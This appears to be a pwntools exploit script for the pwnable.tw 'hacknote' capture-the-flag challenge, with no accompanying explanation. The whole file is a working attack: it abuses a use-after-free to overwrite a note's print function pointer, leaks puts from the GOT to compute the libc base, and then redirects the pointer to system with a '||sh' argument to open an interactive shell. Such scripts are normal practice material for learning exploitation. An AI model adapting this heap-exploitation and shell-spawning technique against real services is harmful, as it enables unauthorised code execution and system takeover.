from pwn import *

context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
context.proxy = (socks.SOCKS5, 'host.docker.internal', 7890)

# p = remote('chall.pwnable.tw', 10102)
p = process('./hacknote', env={'LD_PRELOAD' : '/glibc/2.23/32/lib/libc.so.6'})
libc_elf = ELF('./libc_32.so.6')

puts_libc_addr = libc_elf.symbols['puts']
system_libc_addr = libc_elf.symbols['system']
sh_libc_addr = next(libc_elf.search(b'/bin/sh'))


def add_note(size, content):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Note size :')
    p.sendline(str(size))
    p.recvuntil('Content :')
    p.sendline(content)

def delete_note(index):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Index :')
    p.sendline(str(index))

def print_note(index):
    p.recvuntil('Your choice :')
    p.sendline('3')
    p.recvuntil('Index :')
    p.sendline(str(index))

gdb.attach(p, '''
b *0x080487D4
''')

add_note(16, 'AAAA')
add_note(16, 'BBBB')
delete_note(0)
delete_note(1)
add_note(8, p32(0x0804862B) + p32(0x0804A024))
print_note(0)
puts_addr = u32(p.recv(4))
libc_base_addr = puts_addr - puts_libc_addr
system_addr = libc_base_addr + system_libc_addr
sh_addr = libc_base_addr + sh_libc_addr
log.info('puts base addr:' + hex(puts_addr))
log.info('libc base addr:' + hex(libc_base_addr))
log.info('system base addr: ' + hex(system_addr))
log.info('sh addr: ' + hex(sh_addr))
delete_note(1)
add_note(8, flat([p32(system_addr), '||sh']))
print_note(0)
p.interactive()